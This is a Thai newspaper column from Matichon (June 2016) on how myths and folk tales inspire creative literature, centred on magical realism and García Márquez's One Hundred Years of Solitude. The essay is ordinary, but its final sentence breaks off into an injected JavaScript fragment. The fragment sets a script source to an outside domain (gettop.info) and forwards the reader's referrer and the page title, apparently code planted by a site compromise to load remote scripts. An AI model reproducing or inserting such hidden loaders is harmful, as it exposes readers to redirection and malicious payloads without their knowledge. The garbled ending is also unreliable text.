มติชนรายวัน ฉบับประจำวันจันทร์ที่ 20 มิถุนายน 2559

 

วรรณกรรมสร้างสรรค์จากตำนาน

 

          สังคมที่ดูถูกตำนานนิทาน เป็นสังคมขาดจินตนาการ แล้วส่งผลให้ขาดพลังสร้างสรรค์ ไม่ว่าวรรณกรรมสร้างสรรค์, เศรษฐกิจสร้างสรรค์, รวมถึงการเมืองสร้างสรรค์ ผมเขียนกับคุยเรื่องนี้มาหลายปีแล้วไม่รู้ตั้งแต่เมื่อไร? ที่ไหน? กับใครบ้าง?

          แต่ไม่เคยรู้มาก่อนว่าตำนานนิทานมีส่วนสร้างสรรค์วรรณกรรมร่วมสมัยของโลก จนกระทั่งเพิ่งอ่านหนังสือสัจนิยมมหัศจรรย์ ของ ชูศักดิ์ ภัทรกุลวณิชย์ ถึงได้เกิดอาการตาสว่าง แต่ยังไม่ใจสว่าง เพราะไม่มั่นใจว่าที่อ่านนั้นเข้าใจ

          เลยต้องไปซื้อเล่มสำคัญมาอ่าน หนึ่งร้อยปีแห่งความโดดเดี่ยว ของ กาเบรียล การ์เซีย มาร์เกซ (แปลโดย ปณิธาน – ร. จันเสน สำนักพิมพ์สามัญชน พิมพ์ครั้งที่ห้า พ.ศ. 2557) หนามากกว่า 600 หน้า ผมนึกไม่ออกว่าจะมีสติปัญญาอ่านจบไหม? นานเท่าไร?

          แต่แล้วเหมือนขอทานถูกหวย เปิดพบ “เสมือนคำนำ” ของ สุชาติ สวัสดิ์ศรี (ตั้งแต่ พ.ศ. 2529) รีบอ่านก่อน มีใจความตอนหนึ่งสำคัญมาก สรุปดังนี้

          รูปแบบและเนื้อหาแสดงออกมาในรูปของสังคมที่ตกอยู่ในภาวะขัดแย้งระหว่าง “เก่า” กับ “ใหม่” หรือ “ประเพณีนิยม” กับ “สมัยนิยม” และ “ความเป็นจริง” กับ “เรื่องเกินจริง”

          และเพื่อจะหนีให้พ้นไปจากความปวดร้าวดังกล่าว ตัวละครในวรรณกรรมละตินอเมริกามักจะใช้สัญลักษณ์เป็นเครื่องแสดงออกโดยผสมผสานความเป็นจริงกับจินตนาการในเชิงเหนือจริงเข้ามาไว้ด้วยกัน จนเกิดผลวิธีในรูปแบบใหม่ที่นักวรรณกรรมขนานนามให้ว่า “Magical Realism”

          “หนึ่งร้อยปีแห่งความโดดเดี่ยว” อาจถือเป็นลักษณะ “เฉพาะตัว” ในเชิงการบรรยายแบบเล่าเรื่องที่ลักษณะของเวลาเหลื่อมซ้อนกันจนเกิดภาวะในเชิง “เหนือจริง” ในเชิงตำนานพื้นถิ่นซึ่งมีบรรยากาศ “เฉพาะตัว” ของพื้นถิ่นละตินอเมริกา

          และลักษณะในเชิงนี้เราสามารถค้นหาได้ในชุมชนบุรพกาลที่รูปแบบของวรรณกรรมบอกเล่า (Oral Literature) ยังทรงอิทธิพลของมันอยู่ การบันทึกประวัติในเชิงตำนานและพงศาวดารก็มักจะพบสัญลักษณ์เชิง “เหนือจริง” และ “เกินจริง” คล้ายๆ รูปแบบที่เรียกว่า “Magical Realism” นี้ปรากฏให้เห็นเสมอ

          นี่ไง พลังสร้างสรรค์จากตำนานนิทาน} else {s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;